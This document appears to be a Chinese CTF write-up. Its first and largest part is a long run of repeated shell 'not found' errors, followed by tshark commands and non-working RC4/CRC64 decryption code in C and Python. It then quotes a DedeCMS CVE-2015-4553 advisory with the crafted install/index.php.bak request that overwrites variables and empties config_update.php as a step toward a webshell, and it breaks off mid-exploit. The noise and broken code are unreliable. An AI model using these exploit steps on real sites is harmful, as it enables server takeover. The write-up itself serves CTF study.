found ./bin: 1820: 71b0: not found ./bin: 1821: 71c0: not found ./bin: 1822: 71d0: not found ./bin: 1823: 71e0: not found ./bin: 1824: 71f0: not found ./bin: 1825: 7200: not found ./bin: 1826: 7210: not found ./bin: 1827: 7220: not found ./bin: 1828: 7230: not found ./bin: 1829: 7240: not found ./bin: 1830: 7250: not found ./bin: 1831: 7260: not found ./bin: 1832: 7270: not found ./bin: 1833: 7280: not found ./bin: 1834: 7290: not found ./bin: 1835: 72a0: not found ./bin: 1836: 72b0: not found ./bin: 1837: 72c0: not found ./bin: 1838: 72d0: not found ./bin: 1839: 72e0: not found ./bin: 1840: 72f0: not found ./bin: 1841: 7300: not found ./bin: 1842: 7310: not found ./bin: 1843: 7320: not found ./bin: 1844: 7330: not found ./bin: 1845: 7340: not found ./bin: 1846: 7350: not found ./bin: 1847: 7360: not found ./bin: 1848: 7370: not found ./bin: 1849: 7380: not found ./bin: 1850: 7390: not found ./bin: 1851: 73a0: not found ./bin: 1852: 73b0: not found ./bin: 1853: 73c0: not found ./bin: 1854: 73d0: not found ./bin: 1855: 73e0: not found ./bin: 1856: 73f0: not found ./bin: 1857: 7400: not found ./bin: 1858: 7410: not found ./bin: 1859: 7420: not found ./bin: 1860: 7430: not found ./bin: 1861: 7440: not found ./bin: 1862: 7450: not found ./bin: 1863: 7460: not found ./bin: 1864: 7470: not found ./bin: 1865: 7480: not found ./bin: 1866: 7490: not found ./bin: 1867: 74a0: not found ./bin: 1868: 74b0: not found ./bin: 1869: 74c0: not found ./bin: 1870: 74d0: not found ./bin: 1871: 74e0: not found ./bin: 1872: 74f0: not found ./bin: 1873: 7500: not found ./bin: 1874: 7510: not found ./bin: 1875: 7520: not found ./bin: 1876: 7530: not found ./bin: 1877: 7540: not found ./bin: 1878: 7550: not found ./bin: 1879: 7560: not found ./bin: 1880: 7570: not found ./bin: 1881: 7580: not found ./bin: 1882: 7590: not found ./bin: 1883: 75a0: not found ./bin: 1884: 75b0: not found ./bin: 1885: 75c0: not found ./bin: 1886: 75d0: not found ./bin: 1887: 75e0: not found ./bin: 1888: 75f0: not found ./bin: 1889: 7600: not found ./bin: 1890: 7610: not found ./bin: 1891: 7620: not found ./bin: 1892: 7630: not found ./bin: 1893: 7640: not found ./bin: 1894: 7650: not found ./bin: 1895: 7660: not found ./bin: 1896: 7670: not found ./bin: 1897: 7680: not found ./bin: 1898: 7690: not found ./bin: 1899: 76a0: not found ./bin: 1900: 76b0: not found ./bin: 1901: 76c0: not found ./bin: 1902: 76d0: not found ./bin: 1903: 76e0: not found ./bin: 1904: 76f0: not found ./bin: 1905: 7700: not found ./bin: 1906: 7710: not found ./bin: 1907: 7720: not found ./bin: 1908: 7730: not found ./bin: 1909: 7740: not found ./bin: 1910: 7750: not found ./bin: 1911: 7760: not found ./bin: 1912: 7770: not found ./bin: 1913: 7780: not found ./bin: 1914: 7790: not found ./bin: 1915: 77a0: not found ./bin: 1916: 77b0: not found ./bin: 1917: 77c0: not found ./bin: 1918: 77d0: not found ./bin: 1919: 77e0: not found ./bin: 1920: 77f0: not found ./bin: 1921: 7800: not found ./bin: 1922: 7810: not found ./bin: 1923: 7820: not found ./bin: 1924: 7830: not found ./bin: 1925: 7840: not found ./bin: 1926: 7850: not found ./bin: 1927: 7860: not found ./bin: 1928: 7870: not found ./bin: 1929: 7880: not found ./bin: 1930: 7890: not found ./bin: 1931: 78a0: not found ./bin: 1932: 78b0: not found ./bin: 1933: 78c0: not found ./bin: 1934: 78d0: not found ./bin: 1935: 78e0: not found ./bin: 1936: 78f0: not found ./bin: 1937: 7900: not found ./bin: 1938: 7910: not found ./bin: 1939: 7920: not found ./bin: 1940: 7930: not found ./bin: 1941: 7940: not found ./bin: 1942: 7950: not found ./bin: 1943: 7960: not found ./bin: 1944: 7970: not found ./bin: 1945: 7980: not found ./bin: 1946: 7990: not found ./bin: 1947: 79a0: not found ./bin: 1948: 79b0: not found ./bin: 1949: 79c0: not found ./bin: 1950: 79d0: not found ./bin: 1951: 79e0: not found ./bin: 1952: 79f0: not found ./bin: 1953: 7a00: not found ./bin: 1954: 7a10: not found ./bin: 1955: 7a20: not found ./bin: 1956: 7a30: not found ./bin: 1957: 7a40: not found ./bin: 1958: 7a50: not found ./bin: 1959: 7a60: not found ./bin: 1960: 7a70: not found ./bin: 1961: 7a80: not found ./bin: 1962: 7a90: not found ./bin: 1963: 7aa0: not found ./bin: 1964: 7ab0: not found ./bin: 1965: 7ac0: not found ./bin: 1966: 7ad0: not found ./bin: 1967: 7ae0: not found ./bin: 1968: 7af0: not found ./bin: 1969: 7b00: not found ./bin: 1970: 7b10: not found ./bin: 1971: 7b20: not found ./bin: 1972: 7b30: not found ./bin: 1973: 7b40: not found ./bin: 1974: 7b50: not found ./bin: 1975: 7b60: not found ./bin: 1976: 7b70: not found ./bin: 1977: 7b80: not found ./bin: 1978: 7b90: not found ./bin: 1979: 7ba0: not found ./bin: 1980: 7bb0: not found ./bin: 1981: 7bc0: not found ./bin: 1982: 7bd0: not found ./bin: 1983: 7be0: not found ./bin: 1984: 7bf0: not found ./bin: 1985: 7c00: not found ./bin: 1986: 7c10: not found ./bin: 1987: 7c20: not found ./bin: 1988: 7c30: not found ./bin: 1989: 7c40: not found ./bin: 1990: 7c50: not found ./bin: 1991: 7c60: not found ./bin: 1992: 7c70: not found ./bin: 1993: 7c80: not found ./bin: 1994: 7c90: not found ./bin: 1995: 7ca0: not found ./bin: 1996: 7cb0: not found ./bin: 1997: 7cc0: not found ./bin: 1998: 7cd0: not found ./bin: 1999: 7ce0: not found ./bin: 2000: 7cf0: not found ./bin: 2001: 7d00: not found ./bin: 2002: 7d10: not found ./bin: 2003: 7d20: not found ./bin: 2004: 7d30: not found ./bin: 2005: 7d40: not found ./bin: 2006: 7d50: not found ./bin: 2007: 7d60: not found ./bin: 2008: 7d70: not found ./bin: 2009: 7d80: not found ./bin: 2010: 7d90: not found ./bin: 2011: 7da0: not found ./bin: 2012: 7db0: not found ./bin: 2013: 7dc0: not found ./bin: 2014: 7dd0: not found ./bin: 2015: 7de0: not found ./bin: 2016: 7df0: not found ./bin: 2017: 7e00: not found ./bin: 2018: 7e10: not found ./bin: 2019: 7e20: not found ./bin: 2020: 7e30: not found ./bin: 2021: 7e40: not found ./bin: 2022: 7e50: not found ./bin: 2023: 7e60: not found ./bin: 2024: 7e70: not found ./bin: 2025: 7e80: not found ./bin: 2026: 7e90: not found ./bin: 2027: 7ea0: not found ./bin: 2028: 7eb0: not found ./bin: 2029: 7ec0: not found ./bin: 2030: 7ed0: not found ./bin: 2031: 7ee0: not found ./bin: 2032: 7ef0: not found ./bin: 2033: 7f00: not found ./bin: 2034: 7f10: not found ./bin: 2035: 7f20: not found ./bin: 2036: 7f30: not found ./bin: 2037: 7f40: not found ./bin: 2038: 7f50: not found ./bin: 2039: 7f60: not found ./bin: 2040: 7f70: not found ./bin: 2041: 7f80: not found ./bin: 2042: 7f90: not found ./bin: 2043: 7fa0: not found ./bin: 2044: 7fb0: not found ./bin: 2045: 7fc0: not found ./bin: 2046: 7fd0: not found ./bin: 2047: 7fe0: not found ./bin: 2048: 7ff0: not found ./bin: 2049: 8000: not found ./bin: 2050: 8010: not found ./bin: 2051: 8020: not found ./bin: 2052: 8030: not found ./bin: 2053: 8040: not found ./bin: 2054: 8050: not found ./bin: 2055: 8060: not found ./bin: 2056: 8070: not found ./bin: 2057: 8080: not found ./bin: 2058: 8090: not found ./bin: 2059: 80a0: not found ./bin: 2060: 80b0: not found ./bin: 2061: 80c0: not found ./bin: 2062: 80d0: not found ./bin: 2063: 80e0: not found ./bin: 2064: 80f0: not found ./bin: 2065: 8100: not found ./bin: 2066: 8110: not found ./bin: 2067: 8120: not found ./bin: 2068: 8130: not found ./bin: 2069: 8140: not found ./bin: 2070: 8150: not found ./bin: 2071: 8160: not found ./bin: 2072: 8170: not found ./bin: 2073: 8180: not found ./bin: 2074: 8190: not found ./bin: 2075: 81a0: not found ./bin: 2076: 81b0: not found ./bin: 2077: 81c0: not found ./bin: 2078: 81d0: not found ./bin: 2079: 81e0: not found ./bin: 2080: 81f0: not found ./bin: 2081: 8200: not found ./bin: 2082: 8210: not found ./bin: 2083: 8220: not found ./bin: 2084: 8230: not found ./bin: 2085: 8240: not found ./bin: 2086: 8250: not found ./bin: 2087: 8260: not found ./bin: 2088: 8270: not found ./bin: 2089: 8280: not found ./bin: 2090: 8290: not found ./bin: 2091: 82a0: not found ./bin: 2092: 82b0: not found ./bin: 2093: 82c0: not found ./bin: 2094: 82d0: not found ./bin: 2095: 82e0: not found ./bin: 2096: 82f0: not found ./bin: 2097: 8300: not found ./bin: 2098: 8310: not found ./bin: 2099: 8320: not found ./bin: 2100: 8330: not found ./bin: 2101: 8340: not found ./bin: 2102: 8350: not found ./bin: 2103: 8360: not found ./bin: 2104: 8370: not found ./bin: 2105: 8380: not found ./bin: 2106: 8390: not found ./bin: 2107: 83a0: not found ./bin: 2108: 83b0: not found ./bin: 2109: 83c0: not found ./bin: 2110: 83d0: not found ./bin: 2111: 83e0: not found ./bin: 2112: 83f0: not found ./bin: 2113: 8400: not found ./bin: 2114: 8410: not found ./bin: 2115: 8420: not found ./bin: 2116: 8430: not found ./bin: 2117: 8440: not found ./bin: 2118: 8450: not found ./bin: 2119: 8460: not found ./bin: 2120: 8470: not found ./bin: 2121: 8480: not found ./bin: 2122: 8490: not found ./bin: 2123: 84a0: not found ./bin: 2124: 84b0: not found ./bin: 2125: 84c0: not found ./bin: 2126: 84d0: not found ./bin: 2127: 84e0: not found ./bin: 2128: 84f0: not found ./bin: 2129: 8500: not found ./bin: 2130: 8510: not found ./bin: 2131: 8520: not found ./bin: 2132: 8530: not found ./bin: 2133: 8540: not found ./bin: 2134: 8550: not found ./bin: 2135: 8560: not found ./bin: 2136: 8570: not found ./bin: 2137: 8580: not found ./bin: 2138: 8590: not found ./bin: 2139: 85a0: not found ./bin: 2140: 85b0: not found ./bin: 2141: 85c0: not found ./bin: 2142: 85d0: not found ./bin: 2143: 85e0: not found ./bin: 2144: 85f0: not found ./bin: 2145: 8600: not found ./bin: 2146: 8610: not found ./bin: 2147: 8620: not found ./bin: 2148: 8630: not found ./bin: 2149: 8640: not found ./bin: 2150: 8650: not found ./bin: 2151: 8660: not found ./bin: 2152: 8670: not found ./bin: 2153: 8680: not found ./bin: 2154: 8690: not found ./bin: 2155: 86a0: not found ./bin: 2156: 86b0: not found ./bin: 2157: 86c0: not found ./bin: 2158: 86d0: not found ./bin: 2159: 86e0: not found ./bin: 2160: 86f0: not found ./bin: 2161: 8700: not found ./bin: 2162: 8710: not found ./bin: 2163: 8720: not found ./bin: 2164: 8730: not found ./bin: 2165: 8740: not found ./bin: 2166: 8750: not found ./bin: 2167: 8760: not found ./bin: 2168: 8770: not found ./bin: 2169: 8780: not found ./bin: 2170: 8790: not found ./bin: 2171: 87a0: not found ./bin: 2172: 87b0: not found ./bin: 2173: 87c0: not found ./bin: 2174: 87d0: not found ./bin: 2175: 87e0: not found ./bin: 2176: 87f0: not found ./bin: 2177: 8800: not found ./bin: 2178: 8810: not found ./bin: 2179: 8820: not found ./bin: 2180: 8830: not found ./bin: 2181: 8840: not found ./bin: 2182: 8850: not found ./bin: 2183: 8860: not found ./bin: 2184: 8870: not found ./bin: 2185: 8880: not found ./bin: 2186: 8890: not found ./bin: 2187: 88a0: not found ./bin: 2188: 88b0: not found ./bin: 2189: 88c0: not found ./bin: 2190: 88d0: not found ./bin: 2191: 88e0: not found ./bin: 2192: 88f0: not found ./bin: 2193: 8900: not found ./bin: 2194: 8910: not found ./bin: 2195: 8920: not found ./bin: 2196: 8930: not found ./bin: 2197: 8940: not found ./bin: 2198: 8950: not found ./bin: 2199: 8960: not found ./bin: 2200: 8970: not found ./bin: 2201: 8980: not found ./bin: 2202: 8990: not found ./bin: 2203: 89a0: not found ./bin: 2204: 89b0: not found ./bin: 2205: 89c0: not found ./bin: 2206: 89d0: not found ./bin: 2207: 89e0: not found ./bin: 2208: 89f0: not found ./bin: 2209: 8a00: not found ./bin: 2210: 8a10: not found ./bin: 2211: 8a20: not found ./bin: 2212: 8a30: not found ./bin: 2213: 8a40: not found ./bin: 2214: 8a50: not found ./bin: 2215: 8a60: not found ./bin: 2216: 8a70: not found ./bin: 2217: 8a80: not found ./bin: 2218: 8a90: not found ./bin: 2219: 8aa0: not found ./bin: 2220: 8ab0: not found ./bin: 2221: 8ac0: not found ./bin: 2222: 8ad0: not found ./bin: 2223: 8ae0: not found ./bin: 2224: 8af0: not found ./bin: 2225: 8b00: not found ./bin: 2226: 8b10: not found ./bin: 2227: 8b20: not found ./bin: 2228: 8b30: not found ./bin: 2229: 8b40: not found ./bin: 2230: 8b50: not found ./bin: 2231: 8b60: not found ./bin: 2232: 8b70: not found ./bin: 2233: 8b80: not found ./bin: 2234: 8b90: not found ./bin: 2235: 8ba0: not found ./bin: 2236: 8bb0: not found ./bin: 2237: 8bc0: not found ./bin: 2238: 8bd0: not found ./bin: 2239: 8be0: not found ./bin: 2240: 8bf0: not found ./bin: 2241: 8c00: not found ./bin: 2242: 8c10: not found ./bin: 2243: 8c20: not found ./bin: 2244: 8c30: not found ./bin: 2245: 8c40: not found ./bin: 2246: 8c50: not found ./bin: 2247: 8c60: not found ./bin: 2248: 8c70: not found ./bin: 2249: 8c80: not found ./bin: 2250: 8c90: not found ./bin: 2251: 8ca0: not found ./bin: 2252: 8cb0: not found ./bin: 2253: 8cc0: not found ./bin: 2254: 8cd0: not found ./bin: 2255: 8ce0: not found ./bin: 2256: 8cf0: not found ./bin: 2257: 8d00: not found ./bin: 2258: 8d10: not found ./bin: 2259: 8d20: not found ./bin: 2260: 8d30: not found ./bin: 2261: 8d40: not found ./bin: 2262: 8d50: not found ./bin: 2263: 8d60: not found ./bin: 2264: 8d70: not found ./bin: 2265: 8d80: not found ./bin: 2266: 8d90: not found ./bin: 2267: 8da0: not found ./bin: 2268: 8db0: not found ./bin: 2269: 8dc0: not found ./bin: 2270: 8dd0: not found ./bin: 2271: 8de0: not found ./bin: 2272: 8df0: not found ./bin: 2273: 8e00: not found ./bin: 2274: 8e10: not found ./bin: 2275: 8e20: not found ./bin: 2276: 8e30: not found ./bin: 2277: 8e40: not found ./bin: 2278: 8e50: not found ./bin: 2279: 8e60: not found ./bin: 2280: 8e70: not found ./bin: 2281: 8e80: not found ./bin: 2282: 8e90: not found ./bin: 2283: 8ea0: not found ./bin: 2284: 8eb0: not found ./bin: 2285: 8ec0: not found ./bin: 2286: 8ed0: not found ./bin: 2287: 8ee0: not found ./bin: 2288: 8ef0: not found ./bin: 2289: 8f00: not found ./bin: 2290: 8f10: not found ./bin: 2291: 8f20: not found ./bin: 2292: 8f30: not found ./bin: 2293: 8f40: not found ./bin: 2294: 8f50: not found ./bin: 2295: 8f60: not found ./bin: 2296: 8f70: not found ./bin: 2297: 8f80: not found ./bin: 2298: 8f90: not found ./bin: 2299: 8fa0: not found ./bin: 2300: 8fb0: not found ./bin: 2301: 8fc0: not found ./bin: 2302: 8fd0: not found ./bin: 2303: 8fe0: not found ./bin: 2304: 8ff0: not found ./bin: 2305: 9000: not found ./bin: 2306: 9010: not found ./bin: 2307: 9020: not found ./bin: 2308: 9030: not found ./bin: 2309: 9040: not found ./bin: 2310: 9050: not found ./bin: 2311: 9060: not found ./bin: 2312: 9070: not found ./bin: 2313: 9080: not found ./bin: 2314: 9090: not found ./bin: 2315: 90a0: not found ./bin: 2316: 90b0: not found ./bin: 2317: 90c0: not found ./bin: 2318: 90d0: not found ./bin: 2319: 90e0: not found ./bin: 2320: 90f0: not found ./bin: 2321: 9100: not found ./bin: 2322: 9110: not found ./bin: 2323: 9120: not found ./bin: 2324: 9130: not found ./bin: 2325: 9140: not found ./bin: 2326: 9150: not found ./bin: 2327: 9160: not found ./bin: 2328: 9170: not found ./bin: 2329: 9180: not found ./bin: 2330: 9190: not found ./bin: 2331: 91a0: not found ./bin: 2332: 91b0: not found ./bin: 2333: 91c0: not found ./bin: 2334: 91d0: not found ./bin: 2335: 91e0: not found ./bin: 2336: 91f0: not found ./bin: 2337: 9200: not found ./bin: 2338: 9210: not found ./bin: 2339: 9220: not found ./bin: 2340: 9230: not found ./bin: 2341: 9240: not found ./bin: 2342: 9250: not found ./bin: 2343: 9260: not found ./bin: 2344: 9270: not found ./bin: 2345: 9280: not found ./bin: 2346: 9290: not found ./bin: 2347: 92a0: not found ./bin: 2348: 92b0: not found ./bin: 2349: 92c0: not found ./bin: 2350: 92d0: not found ./bin: 2351: 92e0: not found ./bin: 2352: 92f0: not found ./bin: 2353: 9300: not found ./bin: 2354: 9310: not found ./bin: 2355: 9320: not found ./bin: 2356: 9330: not found ./bin: 2357: 9340: not found ./bin: 2358: 9350: not found ./bin: 2359: 9360: not found ./bin: 2360: 9370: not found ./bin: 2361: 9380: not found ./bin: 2362: 9390: not found ./bin: 2363: 93a0: not found ./bin: 2364: 93b0: not found ./bin: 2365: 93c0: not found ./bin: 2366: 93d0: not found ./bin: 2367: 93e0: not found ./bin: 2368: 93f0: not found ./bin: 2369: 9400: not found ./bin: 2370: 9410: not found ./bin: 2371: 9420: not found ./bin: 2372: 9430: not found ./bin: 2373: 9440: not found ./bin: 2374: 9450: not found ./bin: 2375: 9460: not found ./bin: 2376: 9470: not found ./bin: 2377: 9480: not found ./bin: 2378: 9490: not found ./bin: 2379: 94a0: not found ./bin: 2380: 94b0: not found ./bin: 2381: 94c0: not found ./bin: 2382: 94d0: not found ./bin: 2383: 94e0: not found ./bin: 2384: 94f0: not found ./bin: 2385: 9500: not found ./bin: 2386: 9510: not found ./bin: 2387: 9520: not found ./bin: 2388: 9530: not found ./bin: 2389: 9540: not found ./bin: 2390: 9550: not found ./bin: 2391: 9560: not found ./bin: 2392: 9570: not found ./bin: 2393: 9580: not found ./bin: 2394: 9590: not found ./bin: 2395: 95a0: not found ./bin: 2396: 95b0: not found ./bin: 2397: 95c0: not found ./bin: 2398: 95d0: not found ./bin: 2399: 95e0: not found ./bin: 2400: 95f0: not found ./bin: 2401: 9600: not found ./bin: 2402: 9610: not found ./bin: 2403: 9620: not found ./bin: 2404: 9630: not found ./bin: 2405: 9640: not found ./bin: 2406: 9650: not found ./bin: 2407: 9660: not found ./bin: 2408: 9670: not found ./bin: 2409: 9680: not found ./bin: 2410: 9690: not found ./bin: 2411: 96a0: not found ./bin: 2412: 96b0: not found ./bin: 2413: 96c0: not found ./bin: 2414: 96d0: not found ./bin: 2415: 96e0: not found ./bin: 2416: 96f0: not found ./bin: 2417: 9700: not found ./bin: 2418: 9710: not found ./bin: 2419: 9720: not found ./bin: 2420: 9730: not found ./bin: 2421: 9740: not found ./bin: 2422: 9750: not found ./bin: 2423: 9760: not found ./bin: 2424: 9770: not found ./bin: 2425: 9780: not found ./bin: 2426: 9790: not found ./bin: 2427: 97a0: not found ./bin: 2428: 97b0: not found ./bin: 2429: 97c0: not found ./bin: 2430: 97d0: not found ./bin: 2431: 97e0: not found ./bin: 2432: 97f0: not found ./bin: 2433: 9800: not found ./bin: 2434: 9810: not found ./bin: 2435: 9820: not found ./bin: 2436: 9830: not found ./bin: 2437: 9840: not found ./bin: 2438: 9850: not found ./bin: 2439: 9860: not found ./bin: 2440: 9870: not found ./bin: 2441: 9880: not found ./bin: 2442: 9890: not found ./bin: 2443: 98a0: not found ./bin: 2444: 98b0: not found ./bin: 2445: 98c0: not found ./bin: 2446: 98d0: not found ./bin: 2447: 98e0: not found ./bin: 2448: 98f0: not found ./bin: 2449: 9900: not found ./bin: 2450: 9910: not found ./bin: 2451: 9920: not found ./bin: 2452: 9930: not found ./bin: 2453: 9940: not found ./bin: 2454: 9950: not found ./bin: 2455: 9960: not found ./bin: 2456: 9970: not found ./bin: 2457: 9980: not found ./bin: 2458: 9990: not found ./bin: 2459: 99a0: not found ./bin: 2460: 99b0: not found ./bin: 2461: 99c0: not found ./bin: 2462: 99d0: not found ./bin: 2463: 99e0: not found ./bin: 2464: 99f0: not found ./bin: 2465: 9a00: not found ./bin: 2466: 9a10: not found ./bin: 2467: 9a20: not found ./bin: 2468: 9a30: not found ./bin: 2469: 9a40: not found ./bin: 2470: 9a50: not found ./bin: 2471: 9a60: not found ./bin: 2472: 9a70: not found ./bin: 2473: 9a80: not found ./bin: 2474: 9a90: not found ./bin: 2475: 9aa0: not found ./bin: 2476: 9ab0: not found ./bin: 2477: 9ac0: not found ./bin: 2478: 9ad0: not found ./bin: 2479: 9ae0: not found ./bin: 2480: 9af0: not found ./bin: 2481: 9b00: not found ./bin: 2482: 9b10: not found ./bin: 2483: 9b20: not found ./bin: 2484: 9b30: not found ./bin: 2485: 9b40: not found ./bin: 2486: 9b50: not found ./bin: 2487: 9b60: not found ./bin: 2488: 9b70: not found ./bin: 2489: 9b80: not found ./bin: 2490: 9b90: not found ./bin: 2491: 9ba0: not found ./bin: 2492: 9bb0: not found ./bin: 2493: 9bc0: not found ./bin: 2494: 9bd0: not found ./bin: 2495: 9be0: not found ./bin: 2496: 9bf0: not found ./bin: 2497: 9c00: not found ./bin: 2498: 9c10: not found ./bin: 2499: 9c20: not found ./bin: 2500: 9c30: not found ./bin: 2501: 9c40: not found ./bin: 2502: 9c50: not found ./bin: 2503: 9c60: not found ./bin: 2504: 9c70: not found ./bin: 2505: 9c80: not found ./bin: 2506: 9c90: not found ./bin: 2507: 9ca0: not found ./bin: 2508: 9cb0: not found ./bin: 2509: 9cc0: not found ./bin: 2510: 9cd0: not found ./bin: 2511: 9ce0: not found ./bin: 2512: 9cf0: not found ./bin: 2513: 9d00: not found ./bin: 2514: 9d10: not found ./bin: 2515: 9d20: not found ./bin: 2516: 9d30: not found ./bin: 2517: 9d40: not found ./bin: 2518: 9d50: not found ./bin: 2519: 9d60: not found ./bin: 2520: 9d70: not found ./bin: 2521: 9d80: not found ./bin: 2522: 9d90: not found ./bin: 2523: 9da0: not found ./bin: 2524: 9db0: not found ./bin: 2525: 9dc0: not found ./bin: 2526: 9dd0: not found ./bin: 2527: 9de0: not found ./bin: 2528: 9df0: not found ./bin: 2529: 9e00: not found ./bin: 2530: 9e10: not found ./bin: 2531: 9e20: not found ./bin: 2532: 9e30: not found ./bin: 2533: 9e40: not found ./bin: 2534: 9e50: not found ./bin: 2535: 9e60: not found ./bin: 2536: 9e70: not found ./bin: 2537: 9e80: not found ./bin: 2538: 9e90: not found ./bin: 2539: 9ea0: not found ./bin: 2540: 9eb0: not found ./bin: 2541: 9ec0: not found ./bin: 2542: 9ed0: not found ./bin: 2543: 9ee0: not found ./bin: 2544: 9ef0: not found ./bin: 2545: 9f00: not found ./bin: 2546: 9f10: not found ./bin: 2547: 9f20: not found ./bin: 2548: 9f30: not found ./bin: 2549: 9f40: not found ./bin: 2550: 9f50: not found ./bin: 2551: 9f60: not found 服务器为 172.18.0.2,客户端为 172.18.0.3 因为题目给了与时间戳有关,写个脚本用 tshark 给提取出来 1 2 3 4 5 6 7 @echo off echo Extracting data... tshark -r .\output.pcap -Y "tcp && frame.number > 11" -T "fields" -e "frame" -e "frame.time_epoch" -e "data.data" --disable-protocol "http" > data.txt echo Extracting frames... tshark -r .\output.pcap -Y "tcp && frame.number > 11" -T "fields" -e "frame" -e "frame.time_epoch" --disable-protocol "http" > frame.txt echo Extracting time... tshark -r .\output.pcap -Y "tcp && frame.number > 11" -T "fields" -e "frame.time_epoch" --disable-protocol "http" > time.txt 这样就能够提取出来三个文件(主要是为了对应分析才提取的三个文件) 先写一个脚本提取内容 1 2 3 4 5 6 7 8 9 10 11 12 from pprint import pprint data_with_time = [] def process_data(): with open("data.txt") as f: for line in f: line_data = line.split("\t") if len(line_data) != 3 or line_data[-1] == "\n": continue data_with_time.append((line_data[1].split(".")[0][2:], line_data[2].replace("\n", ""))) pprint(data_with_time) 然后我们的逆向大佬 Jeremiah 根据题目的 CRC64 写了个程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 #include <time.h> #include <stdio.h> #include <stdint.h> #include <string.h> #define size 256 unsigned char sbox[257]={0}; //初始化s表 void init_sbox(unsigned char*key){ unsigned int i,j,k; int tmp; for(i=0;i<size;i++){ sbox[i]=i; } j=k=0; for(i=0;i<size;i++){ tmp=sbox[i]; j=(j+tmp+key[k])%size; sbox[i]=sbox[j]; sbox[j]=tmp; if(++k>=strlen((char*)key))k=0; } } //加解密函数 void rc4_dec(unsigned char*key,unsigned char*data){ int i,j,k,R,tmp; init_sbox(key); j=k=0; for(i=0;i<strlen((char*)data);i++){ j=(j+1)%size; k=(k+sbox[j])%size; tmp=sbox[j]; sbox[j]=sbox[k]; sbox[k]=tmp; R=sbox[(sbox[j]+sbox[k])%size]; data[i]^=R; } } int64_t CRC64(char* buffer){ uint64_t delta = 0x42F0E1EBA9EA3693LL; int64_t result = 0; for(int i = 0; i < 40; i++){ result = (int64_t)buffer[i] << 56; for(int j = 0 ; j < 8; j++){ result = (2 * result) ^ (result >> 63) & delta; } } return result; } char* GenerateKey(char* key, char* timestamp){ strcat(key, timestamp); return key; } void db2char(double src, char* dst){ int64_t temp = (int64_t)src; for(int i = 0; i < 8; i++){ char tmp; tmp = (char)temp; dst[i] = tmp; temp = temp >> 8; } } int main(){ char key[] = "V6h9A_wyEE6YLFiAtxY4W601RkBQIsLn"; char data[] = "f694fa558ef96ff34410143aa6f54a1b62a1130f68fda83e"; // 定义timestamp时间戳 double timestamp = 1733155314.075389000; char temptime[8]; db2char(timestamp, temptime); GenerateKey(key, temptime); CRC64(key); rc4_dec(key, data); for(int i = 0 ; i < strlen(data); i++){ printf("%c", data[i]); } return 0; } 但是我们没有能够得到有意义的内容……而且我数据处理是在 Python 中的,于是我考虑到的是使用 Python 调用 C 函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import os from utils import process_data from ctypes import c_char_p, c_int, POINTER, CDLL, c_double # LIB = CDLL(os.path.join(os.getcwd(), "lib.dll")) LIB.call.argtypes = [c_char_p, c_double] def dec(stream: str, ts: float): result = c_char_p() LIB.call(result, c_double(ts), c_char_p(stream.encode("utf-8"))) return result if __name__ == "__main__": result = [] data = process_data() for _ in data: ts = _[0] stream = _[1] result = "" result.append(dec(stream, ts)) print(result) with open("artifact", "wb") as f: f.write("".join(result).encode()) 摆了…… backup 可以看到使用的 CMS 是 dedeCMS 5.7-SP2,我们搜到了一个 CVE-2015-4553,这里写的版本是 dedecms 5.7-sp1,我们想试试 sp2 能不能用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 ========================== # Exploit Title: Dedecms variable coverage leads to getshell # Date: 26-06-2015 # Vendor Homepage: http://www.dedecms.com/] # Version: dedecms 5.7-sp1 and all old version # CVE : CVE-2015-4553 =========================== [CVE-2015-4553]Dedecms variable coverage leads to getshell ############################################################################# # # DBAPPSECURITY LIMITED http://www.dbappsecurity.com.cn/ # ############################################################################# # # CVE ID: CVE-2015-4553 # Subject: Dedecms variable coverage leads to getshell # Author: zise # Date: 06.17.2015 ############################################################################# Introduction: ======== dedecms Open source cms Extensive application Influence version Newest dedecms 5.7-sp1 and all old version Remote getshell Details: ======= After the default installation of dedecms Installation directory /install/index.php or /install/index.php.bak /install/index.php //run iis apache exploit /install/index.php.bak //run apache exploit Code analysis /install/index.php.bak?install_demo_name=aaaa&insLockfile=bbbb ############################################################################# 17 $install_demo_name = 'dedev57demo.txt'; 18 $insLockfile = dirname(__FILE__).'/install_lock.txt'; here $install_demo_name and $insLockfile definition // echo $install_demo_name; printf dedev57demo.txt 29 foreach(Array('_GET','_POST','_COOKIE') as $_request) 30 { 31 foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); 32 } // echo $install_demo_name; printf aaaa $install_demo_name by variable coverage The same 17 $install_demo_name = 'dedev57demo.txt'; 18 $insLockfile = dirname(__FILE__).'/install_lock.txt'; variable coverage ############################################################################# GETSHELL Step 1 Clear file contents config_update.php ############################################################################# config_update.php 13 $updateHost = 'http://updatenew.dedecms.com/base-v57/'; 14 $linkHost = 'http://flink.dedecms.com/server_url.php'; In order to obtain the webshell need to control $updateHost So the use of variable coverags cleared config_update.php http://192.168.204.135/install/index.php.bak ?step=11 &insLockfile=a &s_lang=a &install_demo_name=../data/admin/config_update.php index.php.bak 373 else if($step==11) 374 { 375 require_once('../data/admin/config_update.php'); 376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; 377 378 $sql_content = file_get_contents($rmurl); 379 $fp = fopen($install_demo_name,'w'); 380 if(fwrite($fp,$sql_content)) 381 echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; 382 else 383 echo '&nbsp; <font color="red">[×]</font> 远程获取失败'; 384 